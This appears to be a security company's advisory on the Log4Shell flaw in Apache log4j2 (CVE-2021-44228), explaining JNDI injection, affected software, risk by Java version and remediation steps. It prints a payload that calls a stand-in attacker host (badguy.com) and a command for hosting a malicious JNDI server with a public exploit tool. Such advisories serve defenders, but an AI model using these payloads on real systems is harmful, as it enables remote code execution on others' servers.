Apache log4j2 is one of the most widely used Java logging libraries. Countless applications are built with Java components that range from critical infrastructure like VMware products to other open-source projects like Apache Solr, Apache Druid, and many more.

On November 30, 2021, the Apache log4j2 team became aware of a bug that would allow injection of malicious input that could allow for remote code execution. It was only on December 9 that the security community largely became aware of this finding and the far reaching impacts of it. Security researchers began reporting various vulnerable applications with things as ubiquitous as iCloud.

The vulnerability assigned as CVE-2021-44228 (along with CVE-2021-45046) is easily exploitable.  Nearly any input that is eventually logged by a log4j2 logger will interpret the user input, causing the application to reach out to a malicious JNDI server and potentially execute arbitrary Java code.

Exploitation of a JNDI Injection Vulnerability

Java Naming and Directory Interface (JNDI) provides an API for applications to interact with remote objects registered with the RMI registry or directory services like LDAP. The below diagram (taken from here) shows a high level overview of a communication flow for a Java application that utilizes JNDI.

If an attacker can control the JNDI URL, they can cause the application to load and execute arbitrary Java code. The attacks steps are:

  1. Inject the malicious JNDI LDAP URL, ${jndi:ldap://badguy.com:1389/Exploit}, into application input that will be logged by log4j2
  2. The log4j2 logger will parse the JNDI URL and the vulnerable application will reach out to malicious LDAP server looking for the “Exploit” object
  3. The attacker controller LDAP server will serve a reference to an additional attacker controller server that redirects the vulnerable application to http://badguy.com/Exploit.class
  4. The vulnerable application will load the attacker’s Exploit.class and execute it, enabling the attacker to gain remote code execution privileges on the host running the application.

The success of step 4 in the above flow depends on the version of Java that the application is running with and the application itself. Applications running with Java versions prior to 8u191, 7u201, 6u211, and 11.01 can be easily exploited by attackers. Java versions from 8u191, 7u201, 6u211, and 11.01 upwards don’t load remote classes via JNDI by default. But attackers may still be able to exploit existing application classes to achieve remote code execution. Over the coming weeks, expect to see attackers figuring out how to exactly take advantage of this vulnerability to exploit specific applications.

Vulnerable Applications

The Horizon3 Attack Team has manually reproduced the vulnerability within controlled environments as well as confirming several open-source projects like Apache Solr and enterprise applications like VMware vCenter are vulnerable.

A non-exhaustive list of known vendor advisories is available here.

Our testing has utilized tools that security researchers have released making exploitation of this class of vulnerability easily reproducible:

These tools allow researchers to stand up malicious JNDI servers that will serve up Java payloads.

Example Application

For our test, we made a simple Java application that logs the malicious JNDI URL. We then ran the JNDI-Injection-Exploit tool released by welk1n to host a malicious JNDI LDAP server. When the test application logs the JNDI URL, it reaches out to the JNDI server that returns a Java payload that when executed will run the Calculator application.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A "0.0.0.0" 

Apache Solr

We also downloaded the latest Apache Solr docker container and discovered several entrypoints where attacker supplied input is logged by log4j2. By sending a crafting curl request which includes our malicious JNDI LDAP URL, it forced the Solr application to reach out to our malicious server.

Risk

The risk of Log4Shell depends on the individual application’s Java version, the version of log4j that is in use, and other Java libraries embedded by the application. The most interesting insight to gather is that prior 2018 the Java JDK shipped in an easily exploitable state for this class of vulnerability and log4j2 has been vulnerable since Sept. 2013. This means that from 2013-2018 any Java application that included log4j2 is in the sweet spot for attackers to trivially exploit it. Even when an application is updated the JDK version in many cases stays the same through the lifetime of the application – leaving a lot of unknown risk to organizations.

Additionally, even on the latest Java JDK version, certain known applications running a vulnerable version of log4j2 are still easy to exploit and must be updated. These are applications like VMware vCenter that embed certain dependencies like Tomcat, Groovy, and Websphere.

The table below shows the risk of Log4Shell depending on the application, Java version, and log4j version.

Since the original Log4Shell vulnerability (CVE-2021-44228), a few other vulnerabilities have emerged: CVE-2021-45046, CVE-2021-4104, and CVE-2021-45105. The first two of these CVE-2021-45046 and CVE-2021-4104 can lead to remote code execution but require specialized, non-default configurations. CVE-2021-45015 is purely a denial of service vulnerability. There’s also an older vulnerability, CVE-2019-17571, that can lead to RCE in non-default configurations. The key vulnerability to focus remediation efforts on is the original one, CVE-2021-44228, which is easily exploitable in default configurations.

Remediation

If you have an application vulnerable to Log4Shell:

  • Contact your application vendor to see if a patch is already available.
  • If your application is running Java 8 or later, upgrade the log4j library version to >= 2.17.0. Make sure to restart the application.
  • If your application is running Java 7, upgrade the log4j library to 2.12.3. Make sure to restart the application.
  • If your application is running Java 6, upgrade the log4j library to 2.3.1. Make sure to restart the application.
  • Otherwise, if your application is running an older version of Java or it’s not feasible to upgrade the library, modify the existing log4j library to remove the JNDILookup.class from the file. This can be done by running a command similar to the following command. Make sure to restart the application.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

References